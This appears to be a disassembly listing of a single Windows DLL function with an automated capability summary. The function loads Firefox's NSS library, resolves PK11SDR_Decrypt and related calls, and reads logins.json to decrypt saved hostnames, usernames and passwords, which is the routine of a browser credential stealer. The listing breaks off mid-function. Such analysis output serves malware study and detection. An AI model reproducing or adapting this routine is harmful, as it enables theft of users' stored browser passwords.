Function at 0x18009cf10
Capabilities:
Check if file exists
Get file attributes
Link many functions at runtime
Set current directory

Disassembly:
mov qword [rsp + 0x20], rbx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x4b0]
sub rsp, 0x5b0
xor esi, esi
lea rcx, [rbp + 0x450]
mov dword [rsp + 0x50], esi
xor r13d, r13d
mov r12d, 0xf
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], r12
mov r14, r9
mov byte [rsp + 0x30], sil
mov r15, r8
call fcn.1800bea10
mov rbx, rax
mov rcx, rax
cmp qword [rax + 0x18], 0x10
jb 0x18009cf7e
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.nss3.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rdx, qword [rbx + 0x18]
mov rdi, rax
cmp rdx, 0x10
jb 0x18009cfce
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x18009cfc9
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18009ec00
mov rcx, r8
call fcn.1800cb8d0
movaps xmmword [rsp + 0x5a0], xmm6
movaps xmmword [rsp + 0x590], xmm7
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], r12
mov byte [rbx], sil
test rdi, rdi
jne 0x18009d0f1
mov rdi, qword [rbp + 0x4f0]
lea rdx, [0x1801090b0]
xor r8d, r8d
mov rcx, rdi
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], r12
mov byte [rdi], sil
call fcn.1800bef90
mov rbx, qword [rbp + 0x4f8]
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x18009d057
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x18009d052
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18009ebfa
mov rcx, r8
call fcn.1800cb8d0
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], r12
mov byte [rbx], sil
mov rdx, qword [r15 + 0x18]
cmp rdx, 0x10
jb 0x18009d09c
mov rcx, qword [r15]
inc rdx
cmp rdx, 0x1000
jb 0x18009d097
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18009ebfa
mov rcx, r8
call fcn.1800cb8d0
mov qword [r15 + 0x10], rsi
mov byte [r15], sil
mov qword [r15 + 0x18], r12
mov rdx, qword [r14 + 0x18]
cmp rdx, 0x10
jb 0x18009d0e1
mov rcx, qword [r14]
inc rdx
cmp rdx, 0x1000
jb 0x18009d0dc
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18009ebfa
mov rcx, r8
call fcn.1800cb8d0
mov qword [r14 + 0x10], rsi
mov byte [r14], sil
mov qword [r14 + 0x18], r12
jmp 0x18009ebc6
lea rdx, str.NSS_Init
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PL_Base64Decode
mov rcx, rdi
mov qword [0x1801299c0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11SDR_Decrypt
mov rcx, rdi
mov qword [0x1801299d8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11_Authenticate
mov rcx, rdi
mov qword [0x180129a00], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11_GetInternalKeySlot
mov rcx, rdi
mov qword [0x180129a28], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.PK11_FreeSlot
mov rcx, rdi
mov qword [0x180129aa8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.NSS_Shutdown
mov rcx, rdi
mov qword [0x180129a08], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp qword [r15 + 0x18], 0x10
mov rcx, r15
mov qword [0x1801299c8], rax
jb 0x18009d19f
mov rcx, qword [r15]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x18009d238
test al, 0x10
je 0x18009d238
mov rdx, qword [r15 + 0x10]
lea rcx, [rbp - 0x10]
add rdx, 0xc
mov qword [rbp], rsi
mov qword [rbp + 8], r12
mov byte [rbp - 0x10], sil
call fcn.1800c17c0
cmp qword [r15 + 0x18], 0x10
mov rdx, r15
jb 0x18009d1e0
mov rdx, qword [r15]
mov r8, qword [r15 + 0x10]
lea rcx, [rbp - 0x10]
call fcn.1800be770
mov r8d, 0xc
lea rdx, str.logins.json
lea rcx, [rbp - 0x10]
call fcn.1800be770
cmp qword [rbp + 8], 0x10
lea rcx, [rbp - 0x10]
lea rdx, [0x180113c10]
cmovae rcx, qword [rbp - 0x10]
call fcn.1800d77e8
test rax, rax
je 0x18009d233
mov rcx, rax
call fcn.1800d7878
mov bl, 1
mov esi, 1
jmp 0x18009d23a
mov esi, 1
xor bl, bl
test sil, 1
je 0x18009d28b
mov rdx, qword [rbp + 8]
cmp rdx, 0x10
jb 0x18009d27b
mov rcx, qword [rbp - 0x10]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009d276
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009ec06
call fcn.1800cb8d0
xor esi, esi
mov qword [rbp + 8], r12
mov qword [rbp], rsi
mov byte [rbp - 0x10], sil
jmp 0x18009d28d
xor esi, esi
test bl, bl
je 0x18009eb52
cmp qword [r15 + 0x18], 0x10
mov rcx, r15
jb 0x18009d2a2
mov rcx, qword [r15]
call qword [0x1801299c0]
mov rdx, r15
lea rcx, [rbp + 0x470]
call fcn.1800bea10
mov rcx, rax
call fcn.180091e30
mov r8, 0xffffffffffffffff
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x70], r12
mov byte [rsp + 0x58], r13b
inc r8
cmp byte [rax + r8], r13b
jne 0x18009d2d5
mov rdx, rax
lea rcx, [rsp + 0x58]
call fcn.1800bef90
cmp qword [rsp + 0x68], r13
jbe 0x18009eb15
mov cl, 1
mov qword [rbp + 0x78], rsi
call fcn.1800ccf84
xor edx, edx
mov qword [rbp + 0x98], rax
lea rcx, [rbp - 0x24]
call fcn.1800cc9e0
mov rdi, qword [0x18012a118]
mov rsi, qword [0x18012a0f8]
mov qword [rbp + 0x10], rsi
test rdi, rdi
jne 0x18009d365
xor edx, edx
lea rcx, [rbp - 0x28]
call fcn.1800cc9e0
cmp qword [0x18012a118], r13
jne 0x18009d355
mov eax, dword [0x1801283a0]
inc eax
mov dword [0x1801283a0], eax
cdqe
mov qword [0x18012a118], rax
lea rcx, [rbp - 0x28]
call fcn.1800cca58
mov rdi, qword [0x18012a118]
mov rcx, qword [rbp + 0x98]
cmp rdi, qword [rcx + 0x18]
jae 0x18009d381
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax + rdi*8]
test rbx, rbx
jne 0x18009d3e1
jmp 0x18009d383
xor ebx, ebx
cmp byte [rcx + 0x24], r13b
je 0x18009d39c
call fcn.1800ccf7c
cmp rdi, qword [rax + 0x18]
jae 0x18009d3a1
mov rax, qword [rax + 0x10]
mov rbx, qword [rax + rdi*8]
test rbx, rbx
jne 0x18009d3e1
test rsi, rsi
je 0x18009d3ab
mov rbx, rsi
jmp 0x18009d3e1
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x10]
call fcn.1800c0420
cmp rax, 0xffffffffffffffff
je 0x18009ec0c
mov rbx, qword [rbp + 0x10]
mov rcx, rbx
call fcn.1800ccf44
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
mov qword [0x18012a0f8], rbx
lea rcx, [rbp - 0x24]
call fcn.1800cca58
lea rcx, [rbp + 0x90]
mov qword [rbp + 0x80], rbx
call fcn.1800bf1a0
lea r8, [0x180113d4c]
mov qword [rbp + 0x88], rax
lea rdx, str._hostname_:_______
lea rcx, [rbp + 0x78]
call fcn.1800bf970
xor r15d, r15d
mov cl, 1
mov qword [rbp + 0x50], r15
call fcn.1800ccf84
xor edx, edx
mov qword [rbp + 0x70], rax
lea rcx, [rbp - 0x1c]
call fcn.1800cc9e0
mov rdi, qword [0x18012a118]
mov rsi, qword [0x18012a0f8]
mov qword [rbp + 0x18], rsi
test rdi, rdi
jne 0x18009d48a
xor edx, edx
lea rcx, [rbp - 0x20]
call fcn.1800cc9e0
cmp qword [0x18012a118], r13
jne 0x18009d47a
mov eax, dword [0x1801283a0]
inc eax
mov dword [0x1801283a0], eax
cdqe
mov qword [0x18012a118], rax
lea rcx, [rbp - 0x20]
call fcn.1800cca58
mov rdi, qword [0x18012a118]
mov rcx, qword [rbp + 0x70]
cmp rdi, qword [rcx + 0x18]
jae 0x18009d4a3
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax + rdi*8]
test rbx, rbx
jne 0x18009d501
jmp 0x18009d4a6
mov rbx, r15
cmp byte [rcx + 0x24], r13b
je 0x18009d4bf
call fcn.1800ccf7c
cmp rdi, qword [rax + 0x18]
jae 0x18009d4c4
mov rax, qword [rax + 0x10]
mov rbx, qword [rax + rdi*8]
test rbx, rbx
jne 0x18009d501
test rsi, rsi
je 0x18009d4ce
mov rbx, rsi
jmp 0x18009d501
lea rdx, [rbp + 0x68]
lea rcx, [rbp + 0x18]
call fcn.1800c0420
cmp rax, 0xffffffffffffffff
je 0x18009ec12
mov rbx, qword [rbp + 0x18]
mov rcx, rbx
call fcn.1800ccf44
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
mov qword [0x18012a0f8], rbx
lea rcx, [rbp - 0x1c]
call fcn.1800cca58
lea rcx, [rbp + 0x68]
mov qword [rbp + 0x58], rbx
call fcn.1800bf1a0
lea r8, [0x180113d6d]
mov qword [rbp + 0x60], rax
lea rdx, str._encryptedUsername_:_______
lea rcx, [rbp + 0x50]
call fcn.1800bf970
mov cl, 1
mov qword [rbp + 0x28], r15
call fcn.1800ccf84
xor edx, edx
mov qword [rbp + 0x48], rax
lea rcx, [rsp + 0x50]
call fcn.1800cc9e0
mov rdi, qword [0x18012a118]
mov rsi, qword [0x18012a0f8]
mov qword [rbp + 0x20], rsi
test rdi, rdi
jne 0x18009d59f
xor edx, edx
lea rcx, [rbp - 0x18]
call fcn.1800cc9e0
cmp qword [0x18012a118], r13
jne 0x18009d58f
mov eax, dword [0x1801283a0]
inc eax
mov dword [0x1801283a0], eax
cdqe
mov qword [0x18012a118], rax
lea rcx, [rbp - 0x18]
call fcn.1800cca58
mov rdi, qword [0x18012a118]
mov rcx, qword [rbp + 0x48]
cmp rdi, qword [rcx + 0x18]
jae 0x18009d5b8
mov rax, qword [rcx + 0x10]
mov rbx, qword [rax + rdi*8]
test rbx, rbx
jne 0x18009d616
jmp 0x18009d5bb
mov rbx, r15
cmp byte [rcx + 0x24], r13b
je 0x18009d5d4
call fcn.1800ccf7c
cmp rdi, qword [rax + 0x18]
jae 0x18009d5d9
mov rax, qword [rax + 0x10]
mov rbx, qword [rax + rdi*8]
test rbx, rbx
jne 0x18009d616
test rsi, rsi
je 0x18009d5e3
mov rbx, rsi
jmp 0x18009d616
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x20]
call fcn.1800c0420
cmp rax, 0xffffffffffffffff
je 0x18009ec18
mov rbx, qword [rbp + 0x20]
mov rcx, rbx
call fcn.1800ccf44
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 8]
mov qword [0x18012a0f8], rbx
lea rcx, [rsp + 0x50]
call fcn.1800cca58
lea rcx, [rbp + 0x40]
mov qword [rbp + 0x30], rbx
call fcn.1800bf1a0
lea r8, [0x180113d8d]
mov qword [rbp + 0x38], rax
lea rdx, str._encryptedPassword_:_______
lea rcx, [rbp + 0x28]
call fcn.1800bf970
mov rdx, qword [rsp + 0x70]
lea rbx, [rsp + 0x58]
mov rax, qword [rsp + 0x58]
cmp rdx, 0x10
xorps xmm0, xmm0
mov qword [rbp + 0xa0], r15
cmovae rbx, rax
mov qword [rbp + 0xd0], r15
xor ecx, ecx
mov qword [rbp + 0xf8], r15
xorps xmm1, xmm1
mov qword [rbp + 0x100], r15
mov qword [rbp - 0x78], r15
mov rsi, r12
mov qword [rbp - 0x58], rcx
mov r15, r12
mov byte [rbp - 0x68], cl
mov rdi, r12
mov qword [rbp - 0x38], rcx
mov byte [rbp - 0x48], cl
mov byte [rbp + 0xa8], r13b
movdqa xmmword [rbp + 0xb0], xmm0
movdqa xmmword [rbp + 0xc0], xmm1
mov byte [rbp + 0xd8], r13b
movdqa xmmword [rbp + 0xe0], xmm0
mov byte [rbp + 0xf0], r13b
mov byte [rbp + 0x108], r13b
mov qword [rbp - 0x70], r12
mov byte [rsp + 0x78], r13b
mov qword [rbp - 0x50], r12
mov qword [rbp - 0x30], r12
nop dword [rax]
nop word [rax + rax]
cmp rdx, 0x10
mov qword [rsp + 0x28], rbx
mov rdx, qword [rsp + 0x68]
lea rcx, [rsp + 0x58]
cmovae rcx, rax
lea r9, [rbp + 0x78]
add rdx, rcx
lea r8, [rbp + 0xa0]
mov rcx, rbx
call fcn.1800c4680
test al, al
je 0x18009e8b9
mov rcx, qword [rbp + 0xb8]
movabs rsi, 0x2aaaaaaaaaaaaaab
mov r8, qword [rbp + 0xb0]
mov rax, rsi
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0xf8]
cmp rdx, 1
jbe 0x18009d765
lea rax, [r8 + 0x18]
cmp byte [rax + 0x10], 0
je 0x18009d777
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x330], xmm0
jmp 0x18009d782
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x330], xmm0
mov rdx, qword [rbp + 0x330]
xor r15d, r15d
mov r8, qword [rbp + 0x338]
mov eax, 0xf
mov qword [rbp + 0x1a0], r15
mov qword [rbp + 0x1a8], rax
mov byte [rbp + 0x190], r15b
cmp rdx, r8
je 0x18009d7c8
sub r8, rdx
lea rcx, [rbp + 0x190]
call fcn.1800bef90
mov rax, qword [rbp + 0x1a8]
cmp rax, 0x10
lea rcx, [rbp + 0x190]
cmovae rcx, qword [rbp + 0x190]
call fcn.180092760
mov rdi, 0xffffffffffffffff
mov r8, rdi
nop word [rax + rax]
inc r8
cmp byte [rax + r8], r15b
jne 0x18009d7f0
mov rdx, rax
lea rcx, [rsp + 0x78]
call fcn.1800bef90
mov rdx, qword [rbp + 0x1a8]
cmp rdx, 0x10
jb 0x18009d847
mov rcx, qword [rbp + 0x190]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009d842
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009ec1e
call fcn.1800cb8d0
cmp qword [rsp + 0x70], 0x10
lea rcx, [rsp + 0x58]
mov rdx, qword [rsp + 0x68]
lea r9, [rbp + 0x50]
cmovae rcx, qword [rsp + 0x58]
lea r8, [rbp + 0xa0]
add rdx, rcx
mov qword [rsp + 0x28], rbx
mov rcx, rbx
call fcn.1800c4680
mov rcx, qword [rbp + 0xb8]
mov rax, rsi
mov r8, qword [rbp + 0xb0]
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0xf8]
cmp rdx, 1
jbe 0x18009d8ae
lea rax, [r8 + 0x18]
cmp byte [rax + 0x10], r15b
je 0x18009d8c0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x360], xmm0
jmp 0x18009d8cb
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x360], xmm0
mov rdx, qword [rbp + 0x360]
mov r8, qword [rbp + 0x368]
mov qword [rbp + 0x3c0], r15
mov qword [rbp + 0x3c8], 0xf
mov byte [rbp + 0x3b0], r15b
cmp rdx, r8
je 0x18009d906
sub r8, rdx
lea rcx, [rbp + 0x3b0]
call fcn.1800bef90
lea rcx, [rbp + 0x3b0]
call fcn.18009cd80
mov rcx, rax
call fcn.180092760
mov r8, rdi
nop dword [rax]
inc r8
cmp byte [rax + r8], r15b
jne 0x18009d920
mov rdx, rax
lea rcx, [rbp - 0x68]
call fcn.1800bef90
cmp qword [rsp + 0x70], 0x10
lea rcx, [rsp + 0x58]
mov rdx, qword [rsp + 0x68]
lea r9, [rbp + 0x28]
cmovae rcx, qword [rsp + 0x58]
lea r8, [rbp + 0xa0]
add rdx, rcx
mov qword [rsp + 0x28], rbx
mov rcx, rbx
call fcn.1800c4680
mov rcx, qword [rbp + 0xb8]
mov rax, rsi
mov r8, qword [rbp + 0xb0]
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0xf8]
cmp rdx, 1
jbe 0x18009d99c
lea rax, [r8 + 0x18]
cmp byte [rax + 0x10], r15b
je 0x18009d9ae
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x370], xmm0
jmp 0x18009d9b9
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x370], xmm0
mov rdx, qword [rbp + 0x370]
mov r8, qword [rbp + 0x378]
mov qword [rbp + 0x3e0], r15
mov qword [rbp + 0x3e8], 0xf
mov byte [rbp + 0x3d0], r15b
cmp rdx, r8
je 0x18009d9f4
sub r8, rdx
lea rcx, [rbp + 0x3d0]
call fcn.1800bef90
lea rcx, [rbp + 0x3d0]
call fcn.18009cd80
mov rcx, rax
call fcn.180092760
mov r8, rdi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], r15b
jne 0x18009da10
mov rdx, rax
lea rcx, [rbp - 0x48]
call fcn.1800bef90
mov r8d, 8
mov qword [rbp + 0x1c0], r15
cmp qword [rbp - 0x78], r8
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x1b0]
mov qword [rbp + 0x1c8], 0xf
cmovb r8, qword [rbp - 0x78]
cmp qword [rbp - 0x70], 0x10
mov byte [rbp + 0x1b0], r15b
cmovae rdx, qword [rsp + 0x78]
call fcn.1800bef90
mov rdx, qword [rbp + 0x1c8]
lea rax, [rbp + 0x1b0]
mov rcx, qword [rbp + 0x1b0]
cmp rdx, 0x10
cmovae rax, rcx
cmp qword [rbp + 0x1c0], 8
jne 0x18009daa4
movabs r8, 0x2f2f3a687475616f
cmp qword [rax], r8
jne 0x18009daa4
xor dil, dil
jmp 0x18009daa7
mov dil, 1
cmp rdx, 0x10
jb 0x18009dada
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009dad5
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009ec42
call fcn.1800cb8d0
test dil, dil
je 0x18009e825
mov rax, qword [r14 + 0x18]
mov rcx, r14
cmp rax, 0x10
jb 0x18009daf3
mov rcx, qword [r14]
cmp qword [r14 + 0x10], 1
jne 0x18009e197
cmp byte [rcx], 0x30
jne 0x18009e197
mov rdi, qword [rbp - 0x78]
mov rcx, rax
mov rsi, qword [rbp - 0x58]
test rdi, rdi
je 0x18009e1a2
test rsi, rsi
je 0x18009e1a2
cmp qword [rbp - 0x38], r15
je 0x18009e1a2
lea rdx, [r13 + 1]
mov qword [rbp + 0x120], r15
lea rcx, [rbp + 0x110]
mov qword [rbp + 0x128], 0xf
mov byte [rbp + 0x110], r15b
call fcn.1800c17c0
cmp r12, 0x10
lea rdx, [rsp + 0x30]
mov r8, r13
lea rcx, [rbp + 0x110]
cmovae rdx, qword [rsp + 0x30]
call fcn.1800be770
mov r8d, 1
lea rdx, [0x180113c60]
lea rcx, [rbp + 0x110]
call fcn.1800be770
cmp qword [rbp - 0x70], 0x10
lea rdx, [rsp + 0x78]
mov r8, rdi
lea rcx, [rbp + 0x110]
cmovae rdx, qword [rsp + 0x78]
call fcn.1800be770
mov r8d, 1
lea rdx, [0x180113c5c]
lea rcx, [rbp + 0x1d0]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1d0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1e0], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800be770
mov rdx, qword [rsp + 0x48]
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
movups xmmword [rbp + 0x3f0], xmm6
movups xmmword [rbp + 0x400], xmm7
cmp rdx, 0x10
jb 0x18009dc4b
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009dc46
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009ec24
call fcn.1800cb8d0
mov rdx, qword [rbp + 0x1e8]
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x40], xmm7
cmp rdx, 0x10
jb 0x18009dc96
mov rcx, qword [rbp + 0x1d0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009dc91
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009ec24
call fcn.1800cb8d0
mov rdx, qword [rbp + 0x128]
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], 0xf
mov byte [rbp + 0x1d0], r15b
cmp rdx, 0x10
jb 0x18009dcf0
mov rcx, qword [rbp + 0x110]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009dceb
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009ec24
call fcn.1800cb8d0
mov rdi, qword [rbp + 0x400]
lea rcx, [rbp + 0x130]
mov qword [rbp + 0x140], r15
mov qword [rbp + 0x148], 0xf
mov byte [rbp + 0x130], r15b
lea rdx, [rdi + 1]
call fcn.1800c17c0
cmp qword [rbp + 0x408], 0x10
lea rdx, [rsp + 0x30]
mov r8, rdi
lea rcx, [rbp + 0x130]
cmovae rdx, qword [rbp + 0x3f0]
call fcn.1800be770
mov r8d, 1
lea rdx, [0x180113c60]
lea rcx, [rbp + 0x130]
call fcn.1800be770
cmp qword [rbp - 0x50], 0x10
lea rdx, [rbp - 0x68]
mov r8, rsi
lea rcx, [rbp + 0x130]
cmovae rdx, qword [rbp - 0x68]
call fcn.1800be770
mov r8d, 1
lea rdx, [0x180113c5c]
lea rcx, [rbp + 0x1f0]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1f0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x200], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800be770
mov rdx, qword [rsp + 0x48]
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
movups xmmword [rbp + 0x410], xmm6
movups xmmword [rbp + 0x420], xmm7
cmp rdx, 0x10
jb 0x18009de18
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009de13
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009ec2a
call fcn.1800cb8d0
mov rdx, qword [rbp + 0x208]
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x40], xmm7
cmp rdx, 0x10
jb 0x18009de63
mov rcx, qword [rbp + 0x1f0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009de5e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009ec2a
call fcn.1800cb8d0
mov rdx, qword [rbp + 0x148]
mov qword [rbp + 0x200], r15
mov qword [rbp + 0x208], 0xf
mov byte [rbp + 0x1f0], r15b
cmp rdx, 0x10
jb 0x18009debd
mov rcx, qword [rbp + 0x130]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009deb8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009ec2a
call fcn.1800cb8d0
mov rdi, qword [rbp + 0x420]
lea rcx, [rbp + 0x150]
mov qword [rbp + 0x160], r15
mov qword [rbp + 0x168], 0xf
mov byte [rbp + 0x150], r15b
lea rdx, [rdi + 1]
call fcn.1800c17c0
cmp qword [rbp + 0x428], 0x10
lea rdx, [rsp + 0x30]
mov r8, rdi
lea rcx, [rbp + 0x150]
cmovae rdx, qword [rbp + 0x410]
call fcn.1800be770
mov r8d, 1
lea rdx, [0x180113c60]
lea rcx, [rbp + 0x150]
call fcn.1800be770
cmp qword [rbp - 0x30], 0x10
lea rdx, [rbp - 0x48]
mov r8, qword [rbp - 0x38]
lea rcx, [rbp + 0x150]
cmovae rdx, qword [rbp - 0x48]
call fcn.1800be770
mov r8d, 1
lea rdx, [0x180113c5c]
lea rcx, [rbp + 0x210]
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x210], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x220], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
call fcn.1800be770
mov rdx, qword [rsp + 0x48]
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 0xf
mov byte [rax], r15b
movups xmmword [rbp + 0x390], xmm6
movups xmmword [rbp + 0x3a0], xmm7
cmp rdx, 0x10
jb 0x18009dfe6
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009dfe1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009ec30
call fcn.1800cb8d0
mov rdx, qword [rbp + 0x228]
movups xmmword [rsp + 0x30], xmm6
movups xmmword [rsp + 0x40], xmm7
cmp rdx, 0x10
jb 0x18009e031
mov rcx, qword [rbp + 0x210]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009e02c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009ec30
call fcn.1800cb8d0
mov rdx, qword [rbp + 0x168]
mov qword [rbp + 0x220], r15
mov qword [rbp + 0x228], 0xf
mov byte [rbp + 0x210], r15b
cmp rdx, 0x10
jb 0x18009e08b
mov rcx, qword [rbp + 0x150]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009e086
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009ec30
call fcn.1800cb8d0
mov rdi, qword [rbp + 0x3a0]
lea rcx, [rbp + 0x230]
mov qword [rbp + 0x240], r15
mov qword [rbp + 0x248], 0xf
mov byte [rbp + 0x230], r15b
lea rdx, [rdi + 1]
call fcn.1800c17c0
cmp qword [rbp + 0x3a8], 0x10
lea rdx, [rsp + 0x30]
mov r8, rdi
lea rcx, [rbp + 0x230]
cmovae rdx, qword [rbp + 0x390]
call fcn.1800be770
mov r8d, 1
lea rdx, [0x18010a0cc]
lea rcx, [rbp + 0x230]
call fcn.1800be770
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x18009e135
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009e130
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009ec36
call fcn.1800cb8d0
movups xmm0, xmmword [rbp + 0x230]
xor r8d, r8d
lea rdx, [0x1801090b0]
movups xmm1, xmmword [rbp + 0x240]
lea rcx, [rsp + 0x78]
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm1
call fcn.1800bef90
xor r8d, r8d
lea rdx, [0x1801090b0]
lea rcx, [rbp - 0x68]
call fcn.1800bef90
xor r8d, r8d
lea rdx, [0x1801090b0]
lea rcx, [rbp - 0x48]
call fcn.1800bef90
mov rcx, qword [r14 + 0x18]
mov r12, qword [rsp + 0x48]
mov r13, qword [rsp + 0x40]
jmp 0x18009e19a
mov rcx, rax
mov rsi, qword [rbp - 0x58]
mov rdi, qword [rbp - 0x78]
mov rax, r14
cmp rcx, 0x10
jb 0x18009e1ae
mov rax, qword [r14]
cmp qword [r14 + 0x10], 1
jne 0x18009e815
cmp byte [rax], 0x31
jne 0x18009e815
test rdi, rdi
je 0x18009e815
test rsi, rsi
je 0x18009e815
mov r15, qword [rbp - 0x38]
test r15, r15
je 0x18009e815
lea rdx, [r13 + 3]
mov qword [rbp + 0x180], 0
lea rcx, [rbp + 0x170]
mov qword [rbp + 0x188], 0xf
mov byte [rbp + 0x170], 0
call fcn.1800c17c0
cmp r12, 0x10
lea rdx, [rsp + 0x30]
mov r8, r13
lea rcx, [rbp + 0x170]
cmovae rdx, qword [rsp + 0x30]
call fcn.1800be770
